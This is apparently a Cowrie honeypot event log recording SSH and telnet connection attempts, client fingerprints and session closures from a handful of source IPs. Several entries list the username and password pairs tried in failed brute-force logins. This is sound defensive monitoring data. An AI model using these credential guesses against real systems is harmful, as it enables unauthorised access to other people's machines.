{"eventid":"cowrie.session.closed","duration":31.26598334312439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:13.272593Z","src_ip":"104.245.105.2","session":"0aac16c5298b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":46638,"dst_ip":"159.203.135.109","dst_port":22,"session":"56bc47eb6ea8","protocol":"ssh","message":"New connection: 14.225.217.138:46638 (159.203.135.109:22) [session: 56bc47eb6ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:17.999701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:18.004867Z","src_ip":"14.225.217.138","session":"56bc47eb6ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:18.281043Z","src_ip":"14.225.217.138","session":"56bc47eb6ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123","message":"login attempt [ftpuser/ftpuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:19.420088Z","src_ip":"14.225.217.138","session":"56bc47eb6ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.152817964553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:20.440768Z","src_ip":"104.245.105.2","session":"3739ef921d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:20.699969Z","src_ip":"14.225.217.138","session":"56bc47eb6ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45936,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ac5c1a1bef","protocol":"telnet","message":"New connection: 104.245.105.2:45936 (10.17.0.5:23) [session: b7ac5c1a1bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:28.404104Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47058,"dst_ip":"10.17.0.5","dst_port":23,"session":"95efff66abc3","protocol":"telnet","message":"New connection: 104.245.105.2:47058 (10.17.0.5:23) [session: 95efff66abc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:52.140301Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":47556,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1fe49801018","protocol":"ssh","message":"New connection: 182.48.68.82:47556 (159.203.135.109:22) [session: e1fe49801018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:57.176829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:57.183280Z","src_ip":"182.48.68.82","session":"e1fe49801018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:57.423695Z","src_ip":"182.48.68.82","session":"e1fe49801018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"Password123","message":"login attempt [deployer/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:58.416861Z","src_ip":"182.48.68.82","session":"e1fe49801018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.892488718032837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:59.296468Z","src_ip":"104.245.105.2","session":"b7ac5c1a1bef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:15:59.659781Z","src_ip":"182.48.68.82","session":"e1fe49801018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":55732,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c01f94340ae","protocol":"telnet","message":"New connection: 111.90.147.30:55732 (159.203.135.109:23) [session: 0c01f94340ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:00.267308Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.139.204","src_port":21441,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ea14001560","protocol":"telnet","message":"New connection: 45.226.139.204:21441 (159.203.135.109:23) [session: 01ea14001560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:00.448449Z"}
{"eventid":"cowrie.session.closed","duration":13.459362030029297,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:13.907654Z","src_ip":"45.226.139.204","session":"01ea14001560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":52580,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0be211f43ac","protocol":"ssh","message":"New connection: 14.225.217.138:52580 (159.203.135.109:22) [session: f0be211f43ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:18.037868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:18.043870Z","src_ip":"14.225.217.138","session":"f0be211f43ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:18.319091Z","src_ip":"14.225.217.138","session":"f0be211f43ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZzaq1","message":"login attempt [admin/!QAZzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:19.451383Z","src_ip":"14.225.217.138","session":"f0be211f43ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:20.729714Z","src_ip":"14.225.217.138","session":"f0be211f43ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36672,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddb50536fcc","protocol":"telnet","message":"New connection: 111.90.147.30:36672 (159.203.135.109:23) [session: 4ddb50536fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:21.540130Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36676,"dst_ip":"159.203.135.109","dst_port":23,"session":"89a9cd5c5380","protocol":"telnet","message":"New connection: 111.90.147.30:36676 (159.203.135.109:23) [session: 89a9cd5c5380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:23.323964Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":59328,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06f2e5eb5a0","protocol":"telnet","message":"New connection: 111.90.147.30:59328 (159.203.135.109:23) [session: b06f2e5eb5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:30.495943Z"}
{"eventid":"cowrie.session.closed","duration":30.5054190158844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:30.772616Z","src_ip":"111.90.147.30","session":"0c01f94340ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":59334,"dst_ip":"159.203.135.109","dst_port":23,"session":"9289dde7c138","protocol":"telnet","message":"New connection: 111.90.147.30:59334 (159.203.135.109:23) [session: 9289dde7c138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:31.285765Z"}
{"eventid":"cowrie.session.closed","duration":40.787784576416016,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:32.927994Z","src_ip":"104.245.105.2","session":"95efff66abc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":59344,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dac19a3f8b1","protocol":"telnet","message":"New connection: 111.90.147.30:59344 (159.203.135.109:23) [session: 8dac19a3f8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:38.273185Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":47924,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba5a89eacb8d","protocol":"telnet","message":"New connection: 111.90.147.30:47924 (159.203.135.109:23) [session: ba5a89eacb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:49.270767Z"}
{"eventid":"cowrie.session.closed","duration":31.82929563522339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:53.369323Z","src_ip":"111.90.147.30","session":"4ddb50536fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194175481796265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:54.518001Z","src_ip":"111.90.147.30","session":"89a9cd5c5380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":47926,"dst_ip":"159.203.135.109","dst_port":23,"session":"d22b4cbb57f2","protocol":"telnet","message":"New connection: 111.90.147.30:47926 (159.203.135.109:23) [session: d22b4cbb57f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:56.437509Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39158,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9432a1fc083","protocol":"telnet","message":"New connection: 104.245.105.2:39158 (10.17.0.5:23) [session: e9432a1fc083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:16:56.445193Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":46566,"dst_ip":"159.203.135.109","dst_port":22,"session":"809c6daaa8be","protocol":"ssh","message":"New connection: 182.48.68.82:46566 (159.203.135.109:22) [session: 809c6daaa8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:00.603417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:00.609293Z","src_ip":"182.48.68.82","session":"809c6daaa8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:00.850231Z","src_ip":"182.48.68.82","session":"809c6daaa8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36198,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0261cc97bea","protocol":"telnet","message":"New connection: 111.90.147.30:36198 (159.203.135.109:23) [session: d0261cc97bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:01.259088Z"}
{"eventid":"cowrie.session.closed","duration":30.46361541748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:01.749290Z","src_ip":"111.90.147.30","session":"9289dde7c138","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"000000","message":"login attempt [hadoop/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:01.844419Z","src_ip":"182.48.68.82","session":"809c6daaa8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36186,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0d3bc43ae4","protocol":"telnet","message":"New connection: 111.90.147.30:36186 (159.203.135.109:23) [session: 4f0d3bc43ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:02.123551Z"}
{"eventid":"cowrie.session.closed","duration":32.03373908996582,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:02.529593Z","src_ip":"111.90.147.30","session":"b06f2e5eb5a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:03.089434Z","src_ip":"182.48.68.82","session":"809c6daaa8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0a6fb7e47de","protocol":"telnet","message":"New connection: 111.90.147.30:36208 (159.203.135.109:23) [session: b0a6fb7e47de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:07.097904Z"}
{"eventid":"cowrie.session.closed","duration":30.44023871421814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:08.713341Z","src_ip":"111.90.147.30","session":"8dac19a3f8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":38554,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f074c01bca","protocol":"telnet","message":"New connection: 111.90.147.30:38554 (159.203.135.109:23) [session: 38f074c01bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:09.675247Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59212,"dst_ip":"10.17.0.5","dst_port":23,"session":"98363d533c62","protocol":"telnet","message":"New connection: 104.245.105.2:59212 (10.17.0.5:23) [session: 98363d533c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:10.800291Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":44936,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c7d0c6b2d13","protocol":"ssh","message":"New connection: 14.225.217.138:44936 (159.203.135.109:22) [session: 4c7d0c6b2d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:19.313665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:19.319849Z","src_ip":"14.225.217.138","session":"4c7d0c6b2d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:19.569828Z","src_ip":"14.225.217.138","session":"4c7d0c6b2d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59411644935608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:19.864765Z","src_ip":"111.90.147.30","session":"ba5a89eacb8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41566,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b5e9a76778","protocol":"telnet","message":"New connection: 111.90.147.30:41566 (159.203.135.109:23) [session: 17b5e9a76778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:19.986548Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.7.46.234","src_port":45024,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe0b4f927278","protocol":"telnet","message":"New connection: 64.7.46.234:45024 (159.203.135.109:23) [session: fe0b4f927278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:20.420326Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$","message":"login attempt [root/admin!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:20.589719Z","src_ip":"14.225.217.138","session":"4c7d0c6b2d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41576,"dst_ip":"159.203.135.109","dst_port":23,"session":"95bf365ecdfb","protocol":"telnet","message":"New connection: 111.90.147.30:41576 (159.203.135.109:23) [session: 95bf365ecdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:21.837235Z"}
